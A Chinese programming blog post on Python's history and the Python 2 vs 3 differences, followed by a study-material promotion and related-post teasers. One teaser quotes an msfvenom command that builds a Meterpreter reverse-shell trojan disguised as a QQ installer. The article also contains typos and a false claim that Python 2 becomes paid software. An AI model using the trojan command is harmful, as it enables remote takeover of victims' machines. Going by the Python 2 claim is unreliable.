深入探究Python发展历程

【编程语言发展史】Python的起源和发展历史 Python的未来看似充满了机遇和挑战。作为一门全能性的编程语言,它已经在过去几十年里为各个领域提供了强大的支持。其简洁性、易读性、强大的生态系统以及庞大的社区,都是Python成功的关键因素。随着技术的不断演进和新的挑战的出现,Python社区将不断创新和适应。从科学计算到人工智能、Web开发和自动化,Python将继续在全球范围内发挥其作用,成为解决实际问题的首选工具之一。对于开发者来说,学习Python不仅仅是学习一门编程语言,更是加入一个充满活力和创造力的社区。 阅读详情

目前互联网技术领域,编程语言种类非常的多,哪种语言更具有发展前景,主要决定因素在于两个方面,第一是整体互联网市场发展技术要求,第二是要了解各种编程语言的应用以及发展趋势。对于Python编程语言而言,随着人工智能以及大数据的普及,一度成为炙手可热的技术方向。为什么Python能够得到众多互联网工作者热衷的编程语言呢?首先我们要了解Python的发展历程,从而更好的判断Python在每个阶段发展过程中的重要作用。
在这里插入图片描述

Python的诞生

Python是由荷兰人Guido van Rossum研发的。Guido van Rossum于1982年获得阿姆斯特丹大学数学和计算机硕士学位,当时Guido在CWI(数学与计算机科学国家研究所)工作,主要是为ABC语言贡献代码,工作一段时间后,他感觉现有的编程语言对非计算机专业的人十分不友好,于是1989年12匜,他构思了一门致力于解决问题的编程语言,这就是Python最初的来源。

1991年,Python的第一个解释器诞生。它有C语言实现,而且受到ABC语言的影响,因此其中很多语法来源于C语言和ABC语言。而Python1.0版本真正发布于1994年1月,这个版本主要新功能是lambda、map、filter和reduce。

Python2.0版本是在6年半之后的2000年10月份发布的,这个版本的主要新功能是内存管理和循环检测垃圾收集器以及对Unicode的支持,构成了现在Python语言框架的基础。之后再2004年,Python升级到2.4版本,同年最流行的Web框架Django诞生。之后Python陆续推出Python2.5/2.6/2.7版本。截止目前仍然有很多企业在使用Python2.7版本。不过自2020年1月1日期,Python2.x版本将不再得到支持。Python的核心开发人员将不再提供其错误修复版或安全更新,Python2.x即将进入付费时代。

目前Python开发主流应用的是Python3.x版本,但是Python3和Python2版本有很多代码并不兼容,因此建议大家如果想要学习Python编程语言,可以直接从Python最新版本开始。目前最流行的Python版本是3.7版本。

在这里需要重点和大家分享一下Python2和Python3版本之间的区别。

一、核心差异

1、Python2中字符串有str和Unicode两种类型,而Python3中只支持Unicode下的string。

2、Python3中采用绝对路径的方式进行import

3、Python3对于缩进更加严格,tab和space共存会导致报错TabError。而Python2中一个tab和8个space是等价的。

二、废弃差异

1、Python3中废弃print语句,统一使用print函数;

2、Python3中废弃exec语句,统一使用exec函数;

3、Python中废弃execfile语句,推荐使用exec(open(“./filename”).read())

4、Python3中废弃“<>”表示不相等,统一使用“!=”

5、Python3中废弃long证书类型,统一使用int

6、Python3中废弃Xrange函数,统一使用range,同时range的机制修改并提高了大数据集生成效率。

7、Python3中不在返回list对象

8、Python3中废弃iterator的next()函数,统一使用next(iterator)

9、Python3中废弃raw_input函数,统一使用input函数

10、Python3中废弃file函数,统一使用open函数处理文件。

11、Python3中废弃apply函数。

12、Python3中StandardError被废弃,统一使用Exception

除了这些不同之外,Python3还在某些语法和基本操作上有一些改动。对于Python的使用来说,最重要的变化是因为版本不兼容导致的第三方工具包、系统安装支持等方面的重大变化。

如果你是初学者,建议你直接通过Python3版本进行学习,对于Python2版本相关的知识稍作了解,如果在未来工作中会遇到Python2版本的相关开发工作,你可以对照Python2月Python3版本的进行开发。而对于正在使用Python2版本开发的同学而言,建议你能够尽快的熟悉Python2与Python3之间的差异,尽快迁移自己的程序。

好了,今天的分享就到这里,接下来给大家来一波福利。Python是一门非常不错的编程语言,薪资待遇高、就业前景好。即使你不想出去上班,也可以利用Python在家做兼职(比如爬取客户需要的数据、量化交易、代写程序等)。

如果你对Python感兴趣,想通过学习Python获取更高的薪资,那下面这套Python学习资料一定对你有用!

😝朋友们如果有需要的话,可以V扫描下方二维码免费领取🆓

学好 Python 不论是就业还是做副业赚钱都不错,但要学会 Python 还是要有一个学习规划。最后大家分享一份全套的 Python 学习资料,给那些想学习 Python 的小伙伴们一点帮助!

#### **一、Python学习路线**

image-20230619144606466

python学习路线图1

二、Python基础学习
1. 开发工具

2. 学习笔记

在这里插入图片描述

3. 学习视频

在这里插入图片描述

三、Python小白必备手册

图片

四、数据分析全套资源

在这里插入图片描述

五、Python面试集锦
1. 面试资料

在这里插入图片描述

在这里插入图片描述

2. 简历模板

在这里插入图片描述

** 因篇幅有限,仅展示部分资料,添加上方即可获取**
1.4:Python的发展历史 Python是一种流行的高级编程语言,以其简洁、易读、易学的语法以及广泛的应用领域而闻名。Python语言的发展历程可以追溯到上世纪80年代末 阅读详情

相关推荐

Python编程基础教程:Web开发入门

1.背景介绍 Python编程语言是一种强大的编程语言,它具有简洁的语法和易于学习。Python在Web开发领域也是非常流行的。在本教程中,我们将学习如何使用Python进行Web开发,掌握Web应用程序的基本概念和技术。 1.1 Python的发展历程 Python编程语言的发展

AI架构师小马 334

Python:从诞生到辉煌的编程之旅

Python的编程之旅始于1989年,由Guido van Rossum创立,以其简洁易读的语法迅速赢得关注。从脚本语言起步,Python逐步发展成为人工智能、数据分析、Web开发等领域的核心工具。其强大的库支持和活跃的社区推动了Python的广泛应用与持续发展,书写了从诞生到辉煌的编程传奇。

byte轻骑兵的技术小窝 5114

深度探究GPT在AI人工智能中的价值

本文旨在为技术爱好者和专业人士提供一个全面了解GPT技术的窗口。我们将探讨GPT的核心原理、技术架构、应用场景以及未来发展方向,帮助读者理解这一技术为何在AI领域具有如此重要的地位。文章将从GPT的基本概念入手,逐步深入到技术原理、应用案例和未来展望。我们采用由浅入深的讲解方式,确保不同背景的读者都能跟上思路。GPT:Generative Pre-trained Transformer的缩写,是一种基于Transformer架构的大规模预训练语言模型。

AGI×大数据,开启智能时代的认知跃迁;解码AGI,赋能数据驱动的智能革命。 1025

Python发展史简介

Python语言由荷兰人Guido van Rossum于1989年在荷兰国家研究机构CWI发明,当时他正在寻找一种新的、易于使用的脚本语言,以替代ABC语言,他受到许多现有脚本语言的启发,包括Perl、Smalltalk、Eiffel、Ada和C++等。 Python的第一个正式版本发布于1991年,称为Python 1.0。它的语法和功能大部分来自于ABC语言,但也增加了许多新的特性,包括模块、异常处理、动态类型和垃圾回收。 Python 2.0于2000年发布,它增加了Unicode

昔明日 2395

计算机网络前沿技术探究:网络硬件与传输介质的未来展望

本文聚焦于计算机网络基础中的两大核心要素——网络硬件与传输介质。文章回顾了网络设备和传输方式的发展历程,从传统的双绞线与同轴电缆到现代的光纤及无线传输,并展望了未来可能出现的量子通信及新型自适应网络架构。同时,本文提供了一个基于 Python 的经典客户端-服务器通信代码示例,用以直观演示网络通信的基本原理。通过对现有技术的深入解析和对未来趋势的前瞻性思考,本文旨在为读者提供一个全面、逻辑严谨的网络技术视角。

Sapphire521的博客 214

遗传病变异注释预测工具安装系列之------Exomiser 安装及bug处理

Exomiser是一个Java程序,它从全外显子组或全基因组测序数据中发现潜在的致病变异。 Java 版本必须为1.8以上。 Exomiser 最新版本下载 wget -c https://github.com/exomiser/Exomiser/releases/download/11.0.0/exomiser-cli-11.0.0-distribution.zip unzip ...

qq_37329349的博客 1536

综述:从零构建RAG系统全面指南(含代码)

虽然大语言模型拥有卓越的推理能力,并且具备广泛的通用知识,但在检索精准信息、获取最新数据,或是给出可验证的答案时,它们往往面临挑战。检索增强生成(Retrieval-Augmented Generation,RAG)作为一种创新性的解决方案应运而生。该方法将大语言模型与外部知识源进行结合,有效地提升了大语言模型的性能。在本文中,我们会深入探究RAG的概念及其重要性,同时利用Python以及一些流行的开源库,从零开始搭建一个完整的RAG系统。

weixin_59191169的博客 1264

医学影像处理实战:用SimpleITK将CT数据重采样到统一尺寸(附完整代码)

本文针对医学影像分析中多源CT数据尺寸不一致导致深度学习模型训练失败的问题,提供了基于SimpleITK的实战解决方案。通过深入解析图像尺寸与间距的关系,详细阐述了如何通过调整体素间距进行重采样,而非简单补零,从而在保持图像物理尺寸不变的前提下,将数据统一到固定尺寸,确保输入网络的3D数据空间对齐且解剖信息准确。

weixin_29062671的博客 270

《重新审视光的本质与波粒二象性》(一):基于九章数学体系的深度探究

《重新审视光的本质与波粒二象性》(一):基于九章数学体系的深度探究 *扶湘来(广东省东莞市易改特智能科技有限公司,广东 523770)*通讯作者:扶湘来,E-mail:fxl_810@163.com摘要:本文深入探讨光的本质与波粒二象性这一物理学核心问题。通过回顾光的波动说与粒子说的发展历程,创新性引入布莱德王国的虚构故事,类比人类对光子认知的局限性。剖析牛顿第一定律的发现启示,对比光子与子弹特性,对光的波粒二象性传统描述提出质疑。提出真理定律,构建基于非阿基米德思想的理论框架。同时,详细阐述九章数学体系与

九章数学体系 890

OpenClaw本地部署教程

本文详细介绍了在Windows 11系统上部署OpenClaw与Ollama本地模型的完整流程。主要内容包括:硬件要求说明、Node.js环境配置、Ollama模型安装与定制(重点扩展上下文窗口至32768 tokens)、OpenClaw核心框架安装与对接、常见问题解决(如模型上下文窗口过小报错)以及可选技能扩展和飞书接入方案。部署全程约需1-2小时,强调使用备用设备或虚拟机以确保安全,并提供关键配置参数和排错命令。该方案实现了"数据不出门、推理本地化"的私有化部署目标。

技术引领业务创新 2580

Jenkins离线安装保姆级教程:从下载.war包到SVN+Maven项目一键部署(附避坑脚本)

本文详细介绍了Jenkins离线安装的全流程,包括.war包下载、SVN+Maven项目配置及自动化部署。特别针对内网环境提供解决方案,涵盖插件管理、开发工具链配置、构建触发器和SSH部署等关键步骤,帮助企业在网络隔离环境下实现高效持续集成。

weixin_30096975的博客 374

基于python的豆瓣电影数据的可视化与分析

电影是一种具有极高娱乐性和文化价值的艺术形式,自从电影产业诞生以来,已经成为了人们生活中的重要组成部分。电影产业在全球范围内都有着广泛的影响力,对经济、文化、社会等多个方面都起到了积极的作用。因此,对电影产业进行数据分析和可视化,可以帮助我们更好地了解电影市场的发展状况和趋势,有助于制定更加科学合理的电影投资、制作和营销策略。

cowwwwwboyyyy的博客 2619

msfconsole捆绑木马

捆绑木马 这里使用的是Kalilinux虚拟机 攻击机ip是192.168.0.108 靶机ip是192.168.177.134 生成木马文件 首先上传一个正常的安装包到kali里面 我这里下了一个QQ 把它上传到了root路径下 然后开始捆绑 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 -f exe -x /root/dy/PCQQ2020.exe -o /root/dy/QQ.exe -p:指定后面.

iuyoo的博客 8023

一篇文章告诉你python的前世今生,一起来了解它过去的历史和今天的发展吧!!!

Guido在设计Python时,受到了多种编程语言的影响,如ABC语言、Modula-3、C、C++、Algol-68等。Python,作为一种高级编程语言,自1991年诞生以来,凭借其简洁的语法、强大的功能以及广泛的应用领域,逐渐成为全球最受欢迎的编程语言之一。了解Python的历史、特点、应用领域和学习目的,有助于我们更好地规划学习路径,明确学习目标。(4)2008年-至今:Python 3.x时期,对Python进行了重大更新,不兼容Python 2.x,旨在解决历史遗留问题,提高语言性能。

weixin_49780322的博客 1187

Multisim 14.0元件库下载权威指南:官方与社区资源

详解Multisim元件库下载的官方途径与可靠社区资源,帮助用户快速获取Multisim 14.0所需元件模型,提升电路仿真效率。

weixin_32925455的博客 749

【YOLOv11改进[Backbone]】 使用Ghostnetv2替换Backbone

使用Ghostnetv2替换Backbone

静谧、淡雅 518

python 适合web开发吗

由于是自我总结和重新规划,肯定存在着许多不足之处,望包含。学习不是一天就能促成的事,今天大概就先写到这,后面的继续想到啥写啥,有可能是些小项目,也有可能是些小感悟。原文地址1:https://blog.youkuaiyun.com/qq_43735982/article/details/114438523参考资料:python中用turtle画一个圆形 https://blog.youkuaiyun.com/SXIAOYAN_/article/details/140061099。

2401_86114654的博客 841

块存储:AIO的直接写流程注释

提交io流程中aio_write之前函数的注释,可参考“块存储:AIO的直接读流程注释”。

yiyeguzhou100的专栏 1334

OxyCon 2022精彩回顾之多元视角探究网络抓取技术

她介绍了在处理大型网络数据提取项目时可能会遇到的问题(例如站点更改、发生错误、出现意外的边缘情况等),并从技术细节、法律风险等诸多方面探讨了大规模公共数据提取能够取得成功的方法。为主题,介绍了OTA Insight是如何做到,在不牺牲数据质量的情况下,从每天100个请求量增加到日均1亿个请求量的方法。为大家展示了OTA Insight的发展历程和目标,探讨了公司的运作方式以及收益经理在其中所担任的角色,并以。的演讲中以自己所在公司为例,介绍了在不断变化且要求苛刻的网络抓取领域建立公司的情况。

candice931020的博客 1174

SIMATIC S7-1200, S7-1500 PID 控制[手册]

SIMATIC S7-1200, S7-1500 PID 控制[手册]

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

python趣味编程100例-儿童Python趣味编程课程

儿童Python趣味编程课程南京杜恩培训隶属于南京卡尔威特教育咨询有限公司,秉承"以人为本”的办学宗旨,致力于给每一位前来学习的学员专业优质的服务。中心成立于2002年,在南京已有10多年的发展历程,并取得了辉煌的成绩,目前南京拥有两家培训中心。现已成为南京一流的计算机培训机构"课程主要以成人电脑、会计、成人英语、少儿电脑、少儿英语、企业内训等不同领域的正规培训机构。在近十多年...

q6q6q的专栏 3497

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

是什么成就了Python语言今天的伟大

Python语言目前受到开发人员的普遍关注,据统计,目前使用Python的用户规模已经超过Java,成为仅次于C语言的第二大热门语言。 那么,究竟是什么让Python语言受到如此的热捧呢?笔者通过这几年的学习,对比20多年来使用各种语言的经验,做个简单的分析。 从哲学辩证法我们认识到,世界是普遍联系,永恒发展的,从达尔文的进化论角度看,编程语言也是吸收其它语言的精华,不断发展进化的。 记得大...

309

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

如何系统性地学习python

系统学习Python是一个有计划、有步骤的过程,旨在确保您从基础知识到高级技能,再到实际项目应用都能得到全面而深入的理解与掌握。以下是一份详细的系统学习Python的指南,结合了您提供的历史资料以及最佳实践建议:

BDawn的专栏 1078

【Python语言】新特性:共享内存

Python 的共享内存支持为开发者带来了诸多便利和性能提升,在多进程编程和数据处理领域具有重要意义。通过共享内存,不同进程或线程能够直接访问同一块物理内存区域,避免了传统数据传输方式中数据的序列化、反序列化以及大量的复制操作,从而极大地提高了数据处理的效率。无论是在多进程并发处理、分布式计算还是大数据分析等场景中,共享内存都能发挥关键作用,帮助开发者优化程序性能,实现更高效的数据处理。共享内存的引入也简化了多进程编程中的数据交换操作。

远程部署调试 运行安装 项目调试 二次开发 项目技术新 持续迭代 部分源码免费分享 1506

机器人系统设计与制作:Python语言实现1.1 什么是机器人

摘要 机器人学概述 你如果读过技术性比较强的书籍,就会发现此类书的开头第1章基本都遵循相同的结构。它会先向读者描述一下该书所选的主题多么有意义,开始阅读该书是做了一个多么正确的决定,以及在后续的章节中会有很多非常有意思的内容不断地吸引你一直看下去。 但本章并不是上述所说的这样一个章节。本章从下面这个观点开始: 机器人学是一门艺术。 对于这样一个鲜明的观...

weixin_33882443的博客 505

Python数据可视化实战:创建交互式可视化图表

让我们一起探索新奇的事物,分享生活的点滴,让这个小角落成为我们共同的精神家园。它不仅易于学习,还提供了多种强大的可视化库,比如Matplotlib、Seaborn、Plotly等,它们就像是画家手中的颜料,帮助我们创作出一幅幅美妙的作品。你可以把这里当作自己的家,无论是工作之余的小憩,还是寻找灵感的驿站,我都希望你能在这里找到属于你的那份快乐和满足。最后,但同样重要的是,我们需要收集用户的反馈,以便不断地改进图表。

master_chenchen的博客 1864
上一篇: Python学习过程中应该了解的学习路线
下一篇: Python学习路线规划
大模型应用场景
博客等级 码龄5年 7648粉丝 1350原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值